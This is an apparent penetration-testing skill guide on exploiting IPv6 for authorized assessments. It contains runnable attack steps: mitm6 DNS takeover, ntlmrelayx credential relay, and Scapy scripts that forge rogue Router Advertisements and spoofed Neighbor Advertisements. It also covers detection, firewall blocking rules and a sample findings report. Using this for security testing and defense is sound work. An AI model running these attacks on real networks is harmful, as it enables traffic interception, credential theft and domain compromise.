exploiting-ipv6-vulnerabilities

Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.

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Dernière activité de la source: 5 mai 2026 à 05:45
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name	exploiting-ipv6-vulnerabilities
description	Identifies and exploits IPv6-specific vulnerabilities including SLAAC spoofing, Router Advertisement flooding, and IPv6 tunneling during authorized assessments to test dual-stack security controls and IPv6-aware network defenses.
domain	cybersecurity
subdomain	network-security
tags	["network-security","ipv6","slaac","router-advertisement","dual-stack-security"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Exploiting IPv6 Vulnerabilities

When to Use

Testing whether dual-stack networks have consistent security controls for both IPv4 and IPv6 traffic
Demonstrating risks from unmanaged IPv6 on networks where only IPv4 is officially supported
Exploiting SLAAC and Router Advertisement mechanisms to perform man-in-the-middle attacks via IPv6
Testing IPv6-aware firewall rules and IDS/IPS detection for IPv6-specific attack patterns
Identifying IPv6 tunneling protocols (6to4, Teredo, ISATAP) that bypass IPv4-only security controls

Do not use on production networks without written authorization, against systems where IPv6 disruption could cause safety issues, or for denial-of-service attacks against network infrastructure.

Prerequisites

Written authorization specifying IPv6 testing scope and approved techniques
Kali Linux with THC-IPv6 toolkit, Scapy, and mitm6 installed
Network interface with IPv6 support on the target network segment
Understanding of IPv6 addressing, SLAAC, NDP, and Router Advertisements
Wireshark for capturing and analyzing IPv6 traffic

Workflow

Step 1: Enumerate IPv6 on the Network

# Check if IPv6 is enabled on the local interface
ip -6 addr show

# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address

# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0

# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement

# Use radvdump to capture existing RAs
sudo radvdump

# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only

Step 2: Perform SLAAC-Based MITM Attack with mitm6

# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen


 mitm6 -d example.com -i eth0








 impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""

from scapy.all import *
from scapy.layers.inet6 import *

# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # All-nodes multicast
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # Advertise as router for 30 min
        prf=1,                   # High preference
        M=0,                     # No managed flag (use SLAAC)
        O=1                      # Other config via DHCPv6 (DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # Rogue prefix
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # Attacker as DNS server
        lifetime=1800
    )
)

print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")

# Neighbor Advertisement spoofing (IPv6 equivalent of ARP spoofing)
# Using THC-IPv6 parasite6 tool
sudo parasite6 eth0

# Or craft with Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# Spoof Neighbor Advertisement to redirect traffic
target_ipv6 = "2001:db8::50"    # Victim IPv6 address
gateway_ipv6 = "2001:db8::1"    # Gateway IPv6 address
attacker_mac = get_if_hwaddr("eth0")

# Tell the victim that we are the gateway
na = (
    Ether(dst="33:33:00:00:00:01") /
    IPv6(src=gateway_ipv6, dst="ff02::1") /
    ICMPv6ND_NA(
        tgt=gateway_ipv6,
        R=1, S=0, O=1  # Router flag, Override flag
    ) /
    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)

print("[*] Sending spoofed Neighbor Advertisements...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF

# Detect NDP spoofing with ndpmon
sudo ndpmon -i eth0

# Detect Teredo tunnels (IPv6 over UDP port 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst

# Detect 6to4 tunnels (protocol 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst

# Detect ISATAP tunnels
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10

# Scan for Teredo-enabled hosts
nmap -6 -sU -p 3544 --open 10.10.0.0/24

# Test if IPv6 tunnels bypass IPv4 firewall rules
# If Teredo is allowed, IPv6 traffic can bypass IPv4-only firewalls
curl -6 http://[2001:db8::50]:8080/  # Access via IPv6 tunnel

# Block unwanted IPv6 tunnels at the firewall
# iptables: block protocol 41 (6to4, ISATAP) and Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP

# Verify ip6tables rules are in place
sudo ip6tables -L -n -v

# Test if IPv6 firewall mirrors IPv4 rules
# Common oversight: IPv4 firewall is strict, IPv6 is wide open
nmap -6 -sS -p- <target_ipv6_address>

# Compare IPv4 and IPv6 scan results
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)

# Check for IPv6 RA Guard on the switch
# Cisco: show ipv6 snooping policies
# If not enabled, document as finding

# Clean up: stop all IPv6 attack tools
sudo killall mitm6 parasite6 2>/dev/null

Term	Definition
SLAAC (Stateless Address Autoconfiguration)	IPv6 mechanism where hosts automatically configure addresses from Router Advertisements without a DHCP server, exploitable by rogue RA injection
Router Advertisement (RA)	ICMPv6 message from routers announcing network prefixes, default gateway, and DNS configuration; rogue RAs enable MITM attacks
NDP (Neighbor Discovery Protocol)	IPv6 replacement for ARP that uses ICMPv6 for address resolution, router discovery, and duplicate address detection; vulnerable to spoofing
mitm6	Tool that exploits Windows DHCPv6 preference to become the IPv6 DNS server, enabling DNS spoofing and NTLM credential relay
RA Guard	Switch-level security feature that filters rogue Router Advertisements, preventing unauthorized hosts from acting as IPv6 routers
IPv6 Tunneling	Encapsulation of IPv6 packets within IPv4 (6to4, Teredo, ISATAP) that can bypass IPv4-only security controls and firewalls

## IPv6 Security Assessment Report

**Test ID**: IPV6-2024-001
**Target Network**: VLAN 10 (10.10.10.0/24, no official IPv6)
**Assessment Date**: 2024-03-15

### IPv6 Discovery

| Finding | Details |
|---------|---------|
| IPv6 Enabled Hosts | 147/150 workstations (Windows default) |
| Link-Local Addresses | Active on all discovered hosts |
| Router Advertisements | None detected (no IPv6 router) |
| DHCPv6 Server | None present |
| RA Guard | NOT configured on switches |
| IPv6 Firewall Rules | NONE (ip6tables empty) |

### Attack Results

| Attack | Result | Impact |
|--------|--------|--------|
| mitm6 DNS Takeover | SUCCESS | Became IPv6 DNS for 147 hosts |
| WPAD NTLM Relay | SUCCESS | Captured 23 NTLM authentications |
| Domain Admin Relay | SUCCESS | Created rogue domain admin account |
| IPv6 Port Scan | SUCCESS | All ports open (no ip6tables rules) |

### Recommendations
1. Deploy RA Guard on all access-layer switches (Critical)
2. Configure IPv6 ACLs mirroring IPv4 firewall rules (Critical)
3. Disable DHCPv6 client via Group Policy where IPv6 is not needed
4. Block IPv6 tunneling protocols (6to4, Teredo) at the firewall
5. Deploy IPv6-aware IDS rules for NDP spoofing detection